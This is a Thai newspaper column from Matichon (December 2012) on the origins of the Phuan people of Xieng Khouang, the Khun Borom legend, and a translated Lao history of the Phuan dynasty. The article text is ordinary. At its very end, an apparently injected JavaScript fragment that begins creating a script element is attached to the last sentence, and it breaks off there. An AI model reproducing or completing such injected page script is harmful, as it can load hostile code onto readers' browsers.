Download PDF

มติชนรายวัน ฉบับประจำวันจันทร์ที่ 24 ธันวาคม 2555

 

          พวน เป็นชื่อสมมติของคนกลุ่มหนึ่งที่พูดตระกูลภาษาไทย-ลาว สำเนียงพวน

          มีหลักแหล่งดั้งเดิมอยู่เมืองพวน ทุ่งไหหิน แขวงเชียงขวาง ในลาว ติดพรมแดนลาว-เวียดนาม ซึ่งเป็นเขตที่ราบสูง

          พวน เป็นคำเดียวกับ พูน, โพน หมายถึงบริเวณที่สูง, ที่ราบสูง

          คนพวน คือ บรรดาผู้คนที่ตั้งบ้านเรือนอยู่รวมกันบริเวณที่สูง หรือที่ราบสูง (ซึ่งคำพื้นเมืองดั้งเดิมเรียกว่า พวน) ต่อมาเรียก ไทยพวน หมายถึง ชาวพวน (คำว่า ไต, ไท, ไทย แปลว่า คน, ชาว)

          นานเข้าบ้านเมืองตรงสองฝั่งน้ำพวนก็ได้ชื่อว่า เมืองพวน โดยมีศูนย์กลางอยู่เมืองคูน หมายถึงเมืองบนที่เนินสูง (คำว่า คูน ตรงกับพูน หรือโพน แปลว่าเนินสูง อย่างเดียวกับคำภาคใต้ว่า ควน)

          เมืองพวน มีขอบเขตเป็นแขวงเชียงขวาง ในลาวปัจจุบัน มีคำบอกเล่าเป็นตำนานอยู่ในพงศาวดารล้านช้าง และในนิทานเรื่องขุนบรม มีความโดยสรุปว่าขุนบรม (ลาวเรียก ขุนบูลม) มีลูกชาย 7 คน ให้ไปสร้างเมืองต่างๆ

          คนโตชื่อ ขุนลอ ให้ไปสร้างเมืองหลวงพระบาง (เดิมเรียก เมืองชวา หมายถึงเจ้าฟ้า)

          คนที่ห้าชื่อ งัวอิน ให้ไปสร้างเมืองอโยธยา (หมายถึง อโยธยา-สุพรรณภูมิ)

          คนสุดท้องที่เจ็ด ชื่อ เจ็ดเจือง ให้ไปสร้างเมืองพวน (เชียงขวาง)

          คนพวนเชื่อว่าขุนเจืองกับเจ็ดเจืองเป็นบุคคลเดียวกันและเป็นบรรพชนคนพวน ส่วนไหหิน คือไหเหล้าเจืองที่ใส่เหล้า (อุ) เลี้ยงไพร่พลเมื่อรบชนะพวกแกว

          หนังสือเกี่ยวกับประวัติศาสตร์เมืองพวน มีผู้เรียบเรียงไว้ก่อนหน้านี้หลายเล่ม แต่เป็นเรื่องเกร็ดทั่วไป ไม่ปะติดปะต่อร้อยเรียงเป็นเรื่องราวเดียวกันตั้งแต่ต้นจนจบเหมือนประวัติศาสตร์อาณาจักรพวน โดยเจ้าคำหลวง หน่อคำ ซึ่งแม้จะไม่สมบูรณ์ที่สุด แต่ก็ได้เนื้อหาครอบคลุมกว้างขวางที่สุดเท่าที่เคยมีมา

          คำว่า อาณาจักร ใช้กันแพร่หลายในประเทศทางอุษาคเนย์ยุคอาณานิคม ตรงกับไทยช่วง ร.4-ร.5 โดยเป็นไปตามหนังสือประวัติศาสตร์ในยุโรปที่เรียกเป็นอาณาจักรต่างๆ

          แต่อุษาคเนย์ โดยเฉพาะบริเวณสุวรรณภูมิ มีลักษณะการเมืองการปกครองแบบเครือญาติ ซึ่งขนาดดินแดนบ้านเมืองไม่ใหญ่โตกว้างขวาง จึงเทียบได้กับคำว่า รัฐ หรือ นครรัฐ เท่านั้น ไม่ถึงขนาดอาณาจักร

          ด้วยเหตุดังนี้ผมจึงขออนุญาตใช้ชื่อหนังสือให้ตรงตามเนื้อหาแท้จริงว่า ประวัติศาสตร์เมืองพวน จากฉบับภาษาลาว ชื่อ ประวัติศาสตร์อาณาจักรพวน โดย เจ้าคำหลวง หน่อคำ ประธานราชวงศ์พวน แปลเป็นภาษาไทยโดย พันธุ์ทิพย์ ธีระเนตร และ สมชาย นิลอาธิ

          อาจมีนักวิชาการบางกลุ่มเห็นว่าประวัติศาสตร์เมืองพวนเล่มนี้ ยังไม่เป็นงานวิจัยทางวิชาการประวัติศาสตร์ เหมือนงานวิจัยของนักวิชาการทั่วไป

          แต่หนังสือเล่มนี้มีคุณค่ามหาศาลในการศึกษาประวัติศาสตร์ราชวงศ์พวน กับประวัติศาสตร์การเมืองสมัยใหม่ของลาว ช่วงเปลี่ยนผ่านจากระบอบเก่าสู่ระบอบใหม่ ซึ่งส่งผลกระทบใหญ่หลวงถึงผู้คนวงกว้างหลายระดับ ทำให้แต่ละกลุ่มมีทัศนะต่อความเปลี่ยนแปลงต่างกัน

          โดยเฉพาะผังสาแหรกครอบครัวใหญ่ของอาชญาโถ ร่วมเครือญาติราชวงศ์พวน ซึ่งทำโดยประธานราชวงศ์พวน ย่อมหาที่ไหนไม่ได้ นอกจากในเล่มนี้เท่านั้นvar d=document;var s=d.createElement(‘script’);